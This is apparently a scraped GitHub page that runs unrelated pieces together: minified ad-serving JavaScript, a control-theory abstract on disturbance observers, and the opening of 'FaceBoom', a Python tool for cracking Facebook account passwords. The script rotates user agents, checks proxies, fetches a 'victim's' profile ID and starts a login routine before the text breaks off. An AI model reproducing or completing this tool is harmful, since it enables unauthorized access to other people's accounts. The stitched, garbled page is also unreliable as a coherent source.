f=(c=0===(U(L).first_tag_on_page||0)&&Fl(b))&&Gl(c);c&&!f&&(np(c,d),U(L).skip_next_reactive_tag=!0);0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=2);b.google_pause_ad_requests=!!U(L).pause_ad_requests;Vo(e,b,d);c&&f&&pp(c)}}}var qp=!1;function jp(a,b,c){P(Ye)&&!qp&&(qp=!0,a=lp(a)||qn(L),Yi("predictive_abg",{a_c:a,p_c:b,b_v:c},.01))} function lp(a){return a.google_ad_client?a.google_ad_client:(a=a.params)&&a.google_ad_client?a.google_ad_client:""}function mp(){if(P(Re)){var a=ul(L);if(!(a=a&&a.Fa)){try{var b=L.localStorage}catch(c){b=null}b=b?zj(b):null;a=!(b&&Ck(b)&&b)}a||vl(L,1)}}function pp(a){gd(function(){Uf(w).wasPlaTagProcessed||w.adsbygoogle&&w.adsbygoogle.push(a)})} function np(a,b){if(U(L).skip_next_reactive_tag)U(L).skip_next_reactive_tag=!1;else{0===(U(L).first_tag_on_page||0)&&(U(L).first_tag_on_page=1);if(a.tag_partner){var c=a.tag_partner,d=U(w);d.tag_partners=d.tag_partners||[];d.tag_partners.push(c)}U(L).ama_ran_on_page||Il(new Hl(a,b));cp(a,b)}} function op(a){if(a){if(!Uo(a)&&(a.id?a=Yo(a.id):a=null,!a))throw new T("'element' has already been filled.");if(!("innerHTML"in a))throw new T("'element' is not a good DOM element.");}else if(a=Yo(),!a)throw new T("All ins elements in the DOM with class=adsbygoogle already have ads in them.");return a} function rp(){var a=new Oj(L),b=new Oo(L),c=new Po(L),d=L.__cmp?1:0;a=Pj(a)?1:0;var e,f;(f="function"===typeof(null==(e=b.i)?void 0:e.__uspapi))||(b.h?b=b.h:(b.h=$c(b.i,"__uspapiLocator"),b=b.h),f=null!=b);c.l||(c.i||(c.i=c.h.googlefc?c.h:$c(c.h,"googlefcPresent")),c.l=!0);Yi("cmpMet",{tcfv1:d,tcfv2:a,usp:f?1:0,fc:c.i?1:0,ptt:9},Q(ye))}function sp(a){a={value:D(a,16)};var b=.01;Q(Te)&&(a.eid=Q(Te),b=1);a.frequency=b;Yi("new_abg_tag",a,b)}function tp(a){Dj().S[Fj(26)]=!!Number(a)} function up(a){Number(a)?U(L).pause_ad_requests=!0:(U(L).pause_ad_requests=!1,a=function(){if(!U(L).pause_ad_requests){var b=void 0===b?{}:b;if("function"===typeof window.CustomEvent)var c=new CustomEvent("adsbygoogle-pub-unpause-ad-requests-event",b);else c=document.createEvent("CustomEvent"),c.initCustomEvent("adsbygoogle-pub-unpause-ad-requests-event",!!b.bubbles,!!b.cancelable,b.detail);L.dispatchEvent(c)}},w.setTimeout(a,0),w.setTimeout(a,1E3))} function vp(a){Yi("adsenseGfpKnob",{value:a,ptt:9},.1);switch(a){case 0:case 2:a=!0;break;case 1:a=!1;break;default:throw Error("Illegal value of cookieOptions: "+a);}L._gfp_a_=a}function wp(a){a&&a.call&&"function"===typeof a&&window.setTimeout(a,0)} function hp(a,b){b=Dl(ec(hc(qc(b.sb).toString()),zf()?{bust:zf()}:{})).then(function(c){null==Qo&&(c.init(a),Qo=c,xp())});Zi(723,b);r(b,"finally").call(b,function(){Ro.length=0;Yi("slotcar",{event:"api_ld",time:Date.now()-Ia,time_pr:Date.now()-To})})} function xp(){for(var a=u(r(So,"keys").call(So)),b=a.next();!b.done;b=a.next()){b=b.value;var c=So.get(b);-1!==c&&(w.clearTimeout(c),So.delete(b))}a={};for(b=0;b<Ro.length;a={fa:a.fa,ba:a.ba},b++)So.has(b)||(a.ba=Ro[b],a.fa=ip(a.ba),Wi(723,function(d){return function(){3===d.fa?Qo.handleAdConfig(d.ba):2===d.fa&&Zi(730,Qo.handleAdBreakBeforeReady(d.ba))}}(a)))} function kp(a){var b=Ro.length;if(2===ip(a)&&"preroll"===a.type&&null!=a.adBreakDone){-1===To&&(To=Date.now());var c=w.setTimeout(function(){try{(0,a.adBreakDone)({breakType:"preroll",breakName:a.name,breakFormat:"preroll",breakStatus:"timeout"}),So.set(b,-1),Yi("slotcar",{event:"pr_to",source:"adsbygoogle"})}catch(d){console.error("[Ad Placement API] adBreakDone callback threw an error:",d instanceof Error?d:Error(String(d)))}},1E3*Q(kf));So.set(b,c)}} function yp(){if(P(Ne)&&!P(Me)){var a=L.document,b=a.createElement("LINK"),c=nd(Ml);if(c instanceof cc||c instanceof mc)b.href=sc(c);else{if(-1===tc.indexOf("stylesheet"))throw Error('TrustedResourceUrl href attribute required with rel="stylesheet"');b.href=rc(c)}b.rel="stylesheet";a.head.appendChild(b)}};(function(a,b,c,d){d=void 0===d?function(){}:d;Ui.Ua($i);Wi(166,function(){var e=sn(b);jn(I(e,2));Xk(D(e,6));d();kd(16,[1,e.toJSON()]);var f=md(ld(L))||L,g=c(kn({eb:a,nb:I(e,2)}),e);P(cf)&&al(f,e);om(f,e,null===L.document.currentScript?1:Ol(g.ub));Mo();if((!Na()||0<=Ka(Qa(),11))&&(null==(L.Prototype||{}).Version||!P(We))){Vi(P(qf));Go(e);ok();try{Mn()}catch(q){}Fo();fp(g,e);f=window;var h=f.adsbygoogle;if(!h||!h.loaded){if(P(Se)&&!D(e,16))try{if(L.document.querySelector('script[src*="/pagead/js/adsbygoogle.js?client="]'))return}catch(q){}yp(); sp(e);Q(ye)&&rp();var k={push:function(q){$o(q,g,e)},loaded:!0};try{Object.defineProperty(k,"requestNonPersonalizedAds",{set:tp}),Object.defineProperty(k,"pauseAdRequests",{set:up}),Object.defineProperty(k,"cookieOptions",{set:vp}),Object.defineProperty(k,"onload",{set:wp})}catch(q){}if(h)for(var l=u(["requestNonPersonalizedAds","pauseAdRequests","cookieOptions"]),m=l.next();!m.done;m=l.next())m=m.value,void 0!==h[m]&&(k[m]=h[m]);"_gfp_a_"in window||(window._gfp_a_=!0);Zo(h,g,e);f.adsbygoogle=k;h&& (k.onload=h.onload);(f=Bo(g))&&document.documentElement.appendChild(f)}}})})("m202204040101",rn,function(a,b){var c=2012<C(b,1,0)?"_fy"+C(b,1,0):"",d=I(b,3),e=I(b,2);b=nd(dn,a,c);d=nd(en,e,d);return{sb:b,qb:nd(fn,a,c),ob:nd(gn,a,c),pb:nd(hn,a,c),vb:d,ub:/^(?:https?:)?\/\/(?:pagead2\.googlesyndication\.com|securepubads\.g\.doubleclick\.net)\/pagead\/(?:js\/)?(?:show_ads|adsbygoogle)\.js(?:[?#].*)?$/}}); }).call(this,"[2019,\"r20220406\",\"r20190131\",null,null,null,null,\".google.co.uz\",null,null,null,[[[1082,null,null,[1]],[null,62,null,[null,0.001]],[383,null,null,[1]],[null,1130,null,[null,100]],[null,1126,null,[null,5000]],[1132,null,null,[1]],[1131,null,null,[1]],[null,1142,null,[null,2]],[null,1165,null,[null,1000]],[null,1114,null,[null,1]],[null,1116,null,[null,300]],[null,1117,null,[null,100]],[null,1115,null,[null,1]],[null,1159,null,[null,500]],[1145,null,null,[1]],[1021,null,null,[1]],[null,66,null,[null,-1]],[null,65,null,[null,-1]],[1087,null,null,[1]],[1053,null,null,[1]],[1100,null,null,[1]],[1102,null,null,[1]],[1149,null,null,[1]],[null,1072,null,[null,0.75]],[1101,null,null,[1]],[1036,null,null,[1]],[null,1085,null,[null,5]],[null,63,null,[null,30]],[null,1080,null,[null,5]],[1054,null,null,[1]],[null,1027,null,[null,10]],[null,57,null,[null,120]],[null,1079,null,[null,5]],[null,1050,null,[null,30]],[null,58,null,[null,120]],[381914117,null,null,[1]],[null,null,null,[null,null,null,[\"A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\",\"A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\",\"A4\/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme\/J33Q\/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9\"]],null,1934],[1953,null,null,[1]],[1947,null,null,[1]],[434462125,null,null,[1]],[1938,null,null,[1]],[1948,null,null,[1]],[392736476,null,null,[1]],[null,null,null,[null,null,null,[\"AxujKG9INjsZ8\/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=\",\"Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt\/P\/H4\/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"AxBHdr0J44vFBQtZUqX9sjiqf5yWZ\/OcHRcRMN3H9TH+t90V\/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9\",\"A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ==\"]],null,1932],[null,397907552,null,[null,500]],[432938498,null,null,[1]]],[[10,[[1,[[21066108],[21066109,[[316,null,null,[1]]]]],null,null,null,34,18,1],[1,[[21066110],[21066111]],null,null,null,34,18,1],[1,[[42530528],[42530529,[[368,null,null,[1]]]],[42530530,[[369,null,null,[1]],[368,null,null,[1]]]]]],[1,[[42531496],[42531497,[[1161,null,null,[1]]]]]],[1,[[42531513],[42531514,[[316,null,null,[1]]]]]],[1,[[44719338],[44719339,[[334,null,null,[1]],[null,54,null,[null,100]],[null,66,null,[null,10]],[null,65,null,[null,1000]]]]]],[200,[[44760474],[44760475,[[1129,null,null,[1]]]]]],[10,[[44760911],[44760912,[[1160,null,null,[1]]]]]],[100,[[44761043],[44761044]]],[1,[[44752536,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44753656]]],[null,[[44755592],[44755593,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44755594,[[1122,null,null,[1]],[1033,null,null,[1]]]],[44755653,[[1122,null,null,[1]],[1033,null,null,[1]]]]]],[10,[[44762453],[44762454,[[1122,null,null,[1]],[1033,null,null,[1]]]]]],[20,[[182982000,[[218,null,null,[1]]],[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]],[182982100,[[217,null,null,[1]]],[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]]],null,null,null,36,8,1],[20,[[182982200,null,[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]],[182982300,null,[1,[[12,null,null,null,2,null,\"\\\\.wiki(dogs|how)(-fun)?\\\\.\"]]]]],null,null,null,36,8,1],[10,[[182984000,null,[4,null,23,null,null,null,null,[\"1\"]]],[182984100,[[218,null,null,[1]]],[4,null,23,null,null,null,null,[\"1\"]]]],null,null,null,36,10,101],[10,[[182984200,null,[4,null,23,null,null,null,null,[\"1\"]]],[182984300,null,[4,null,23,null,null,null,null,[\"1\"]]]],null,null,null,36,10,101],[10,[[21066428],[21066429]]],[10,[[21066430],[21066431],[21066432],[21066433]],null,null,null,44,22],[10,[[21066434],[21066435]],null,null,null,44,null,500],[10,[[31065342],[31065343,[[1147,null,null,[1]]]]]],[50,[[31065544],[31065545,[[1154,null,null,[1]]]]]],[50,[[31065741],[31065742,[[1134,null,null,[1]]]]]],[1,[[31065944,[[null,1103,null,[null,31065944]],[1121,null,null,[1]],[null,1119,null,[null,300]]]],[31065945,[[null,1103,null,[null,31065945]],[1121,null,null,[1]],[1143,null,null,[1]],[null,1119,null,[null,300]]]],[31065946,[[null,1103,null,[null,31065946]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065950,[[null,1103,null,[null,31065950]],[null,1114,null,[null,0.9]],[null,1112,null,[null,5]],[null,1113,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065951,[[null,1103,null,[null,31065951]],[null,1114,null,[null,0.9]],[null,1110,null,[null,1]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065952,[[null,1103,null,[null,31065952]],[null,1114,null,[null,0.9]],[null,1110,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[31065953,[[null,1103,null,[null,31065953]],[null,1114,null,[null,0.9]],[null,1110,null,[null,5]],[null,1111,null,[null,5]],[null,1112,null,[null,5]],[null,1113,null,[null,5]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44762492,[[null,1103,null,[null,44762492]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1106,null,[null,10]],[null,1107,null,[null,10]],[null,1105,null,[null,10]],[null,1115,null,[null,-1]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[6,null,null,3,null,2],49],[1,[[31066496,[[null,1103,null,[null,31066496]],[1121,null,null,[1]],[null,1119,null,[null,300]]]],[31066497,[[null,1158,null,[null,45]],[null,1157,null,[null,400]],[null,1103,null,[null,31066497]],[null,1114,null,[null,-1]],[null,1104,null,[null,100]],[null,1106,null,[null,10]],[null,1107,null,[null,10]],[null,1105,null,[null,10]],[null,1115,null,[null,-1]],[1121,null,null,[1]],[null,1119,null,[null,300]],[1162,null,null,[1]],[1155,null,null,[1]],[1120,null,null,[1]]]]],null,49],[1000,[[31067051,[[null,null,14,[null,null,\"31067051\"]]],[6,null,null,null,6,null,\"31067051\"]],[31067052,[[null,null,14,[null,null,\"31067052\"]]],[6,null,null,null,6,null,\"31067052\"]]],[4,null,55]],[1000,[[31067063,[[null,null,14,[null,null,\"31067063\"]]],[6,null,null,null,6,null,\"31067063\"]],[31067064,[[null,null,14,[null,null,\"31067064\"]]],[6,null,null,null,6,null,\"31067064\"]]],[4,null,55]],[10,[[31067067],[31067068,[[1148,null,null,[1]]]]]],[1000,[[31067083,[[null,null,14,[null,null,\"31067083\"]]],[6,null,null,null,6,null,\"31067083\"]],[31067084,[[null,null,14,[null,null,\"31067084\"]]],[6,null,null,null,6,null,\"31067084\"]]],[4,null,55]],[1,[[44736076],[44736077,[[null,1046,null,[null,0.1]]]]]],[1,[[44761631,[[null,1103,null,[null,44761631]]]],[44761632,[[null,1103,null,[null,44761632]],[1143,null,null,[1]]]],[44761633,[[null,1142,null,[null,2]],[null,1103,null,[null,44761633]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761634,[[null,1142,null,[null,2]],[null,1103,null,[null,44761634]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761635,[[null,1142,null,[null,2]],[null,1103,null,[null,44761635]],[null,1114,null,[null,0.9]],[null,1106,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761636,[[null,1142,null,[null,2]],[null,1103,null,[null,44761636]],[null,1114,null,[null,0.9]],[null,1107,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44761637,[[null,1142,null,[null,2]],[null,1103,null,[null,44761637]],[null,1114,null,[null,0.9]],[null,1105,null,[null,10]],[null,1115,null,[null,0.8]],[null,1119,null,[null,300]],[1120,null,null,[1]]]],[44762110,[[null,1142,null,[null,2]],[null,1103,null,[null,44762110]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,-1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[6,null,null,3,null,2],49],[500,[[44761838,[[null,1142,null,[null,2]],[null,1103,null,[null,44761838]],[null,1114,null,[null,0.9]],[null,1104,null,[null,100]],[null,1115,null,[null,-1]],[null,1119,null,[null,300]],[1120,null,null,[1]]]]],[2,[[6,null,null,3,null,2],[12,null,null,null,2,null,\"smitmehta\\\\.com\/\"]]],49],[null,[[44762338],[44762339,[[380254521,null,null,[1]]]]],[1,[[4,null,63]]],null,null,56],[150,[[31061760],[31063913,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31065341,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[50,[[31061761,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31062202,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]],[31063912],[44756455,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[null,[[31063202,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15],[null,[[44753753,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]]]]],[3,[[4,null,8,null,null,null,null,[\"gmaSdk.getQueryInfo\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaQueryInfo.postMessage\"]],[4,null,8,null,null,null,null,[\"webkit.messageHandlers.getGmaSig.postMessage\"]]]],15]]],[20,[[50,[[31062930],[31062931,[[380025941,null,null,[1]]]]],null,null,null,null,null,101,null,102]]],[13,[[10,[[44759847],[44759848,[[1947,null,null,[]]]]]],[10,[[44759849],[44759850]]],[1,[[31065824],[31065825,[[424117738,null,null,[1]]]]]],[10,[[31066184],[31066185,[[436251930,null,null,[1]]]]]],[1000,[[21067496]],[4,null,9,null,null,null,null,[\"document.hasTrustToken\"]]],[1000,[[31060475,null,[2,[[1,[[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]],[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]]]]]]],[500,[[31061692],[31061693,[[77,null,null,[1]],[78,null,null,[1]],[85,null,null,[1]],[80,null,null,[1]],[76,null,null,[1]]]]],[4,null,6,null,null,null,null,[\"31061691\"]]],[1,[[31062890],[31062891,[[397841828,null,null,[1]]]]]],[1,[[31062946]],[4,null,27,null,null,null,null,[\"document.prerendering\"]]],[1,[[31062947]],[1,[[4,null,27,null,null,null,null,[\"document.prerendering\"]]]]],[50,[[31064018],[31064019,[[1961,null,null,[1]]]]]],[1,[[31065981,null,[2,[[6,null,null,3,null,0],[12,null,null,null,4,null,\"Chrome\/(9[23456789]|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,27,null,null,null,null,[\"crossOriginIsolated\"]]]]]]]]],[11,[[10,[[44760494],[44760495,[[1957,null,null,[1]]]]],null,48],[1,[[44760496],[44760497,[[1957,null,null,[1]]]],[44760498,[[1957,null,null,[1]]]]],null,48],[2,[[44761535],[44761536,[[1957,null,null,[1]],[1963,null,null,[1]]]],[44761537,[[1957,null,null,[1]],[1964,null,null,[1]]]],[44761538,[[1957,null,null,[1]],[1965,null,null,[1]]]],[44761539,[[1957,null,null,[1]]]]],null,48]]],[17,[[10,[[31060047]],null,null,null,44,null,900],[10,[[31060048],[31060049]],null,null,null,null,null,null,null,101],[10,[[31060566]]]]],[12,[[50,[[31061828],[31061829,[[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,200],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,500]]]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065659,[[1150,null,null,[1]],[null,1126,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]],[null,1032,null,[null,10000]],[427841102,null,null,[1]],[360245597,null,null,[1]],[null,494,null,[null,5000],[[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[null,5500]]]]]],[31065787]],null,15],[20,[[21065724],[21065725,[[203,null,null,[1]]]]],[4,null,9,null,null,null,null,[\"LayoutShift\"]]],[50,[[31060006,null,[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]],[31060007,[[1928,null,null,[1]]],[2,[[12,null,null,null,4,null,\"Android\",[\"navigator.userAgent\"]],[12,null,null,null,4,null,\"Chrome\/(89|9\\\\d|\\\\d{3,})\",[\"navigator.userAgent\"]],[4,null,9,null,null,null,null,[\"window.PeriodicSyncManager\"]]]]]],null,21],[10,[[31060032],[31060033,[[1928,null,null,[1]]]]],null,21],[10,[[31061690],[31061691,[[83,null,null,[1]],[84,null,null,[1]]]]]],[1,[[31065721],[31065722,[[432946749,null,null,[1]]]]]]]]],null,null,[0.001,\"1000\",1,\"1000\"]],[null,[]],null,null,1,\"github.com\",309779023,[44759876,44759927,44759842]]");
Because Ruby
attaoveisi
In this note, disturbance rejection control (DRC) based on unknown input observation (UIO), and disturbance-observer based control (DOBC) methods are revisited for a class of MIMO systems with mismatch disturbance conditions. In both of these methods, the estimated disturbance is considered to be in the feedback channel. The disturbance term could represent either unknown mismatched signals penetrating the states, or unknown dynamics not captured in the modeling process, or physical parameter variations not accounted for in the mathematical model of the plant. Unlike the high-gain approaches and variable structure methods, a systematic synthesis of the state/disturbance observer-based controller is carried out. For this purpose, first, using a series of singular value decompositions, the linearized plant is transformed into disturbance-free and disturbance-dependent subsystems. Then, functional state reconstruction based on generalized detectability concept is proposed for the disturbance-free part. Then, a DRC based on quadratic stability theorem is employed to guarantee the performance of the closed-loop system. An important contribution offered in this article is the independence of the estimated disturbance from the control input which seem to be missing in the literature for disturbance decoupling problems. In the second method, DOBC is reconsidered with the aim of achieving a high level of robustness against modeling uncertainties and matched/mismatched disturbances, while at the same time retaining performance. Accordingly, unlike the first method, DRC, full information state observation is developed independent of the disturbance estimation. An advantage of such a combination is that disturbance estimation does not involve output derivatives. Finally, the case of systems with matched disturbances is presented as a corollary of the main results.
FatimaKabali
#!/usr/bin/python import socket, sys, os, re, random, optparse, time if sys.version_info.major <= 2:import httplib else:import http.client as httplib ## COLORS ############### wi="\033[1;37m" #>>White# rd="\033[1;31m" #>Red # gr="\033[1;32m" #>Green # yl="\033[1;33m" #>Yellow# ######################### os.system("cls||clear") def write(text): sys.stdout.write(text) sys.stdout.flush() versionPath = "core"+os.sep+"version.txt" errMsg = lambda msg: write(rd+"\n["+yl+"!"+rd+"] Error: "+yl+msg+rd+ " !!!\n"+wi) try:import requests except ImportError: errMsg("[ requests ] module is missing") print(" [*] Please Use: 'pip install requests' to install it :)") sys.exit(1) try:import mechanize except ImportError: errMsg("[ mechanize ] module is missing") print(" [*] Please Use: 'pip install mechanize' to install it :)") sys.exit(1) class FaceBoom(object): def __init__(self): self.useProxy = None self.br = mechanize.Browser() self.br.set_handle_robots(False) self.br._factory.is_html = True self.br.addheaders=[('User-agent',random.choice([ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']))] @staticmethod def check_proxy(proxy): proxies = {'https':"https://"+proxy, 'http':"http://"+proxy} proxy_ip = proxy.split(":")[0] try: r = requests.get('https://www.wikipedia.org',proxies=proxies, timeout=5) if proxy_ip==r.headers['X-Client-IP']: return True return False except Exception : return False @staticmethod def cnet(): try: socket.create_connection((socket.gethostbyname("www.google.com"), 80), 2) return True except socket.error:pass return False def get_profile_id(self, target_profile): try: print(gr+"\n["+wi+"*"+gr+"] geting target Profile Id... please wait"+wi) idre = re.compile('"entity_id":"([0-9]+)"') con = requests.get(target_profile).text idis = idre.findall(con) print(wi+"\n["+gr+"+"+wi+"]"+gr+" Target Profile"+wi+" ID: "+yl+idis[0]+wi) except IndexError: errMsg("Please Check Your Victim's Profile URL") sys.exit(1) def login(self,target, password): try: self.br.open("https://facebook.com") 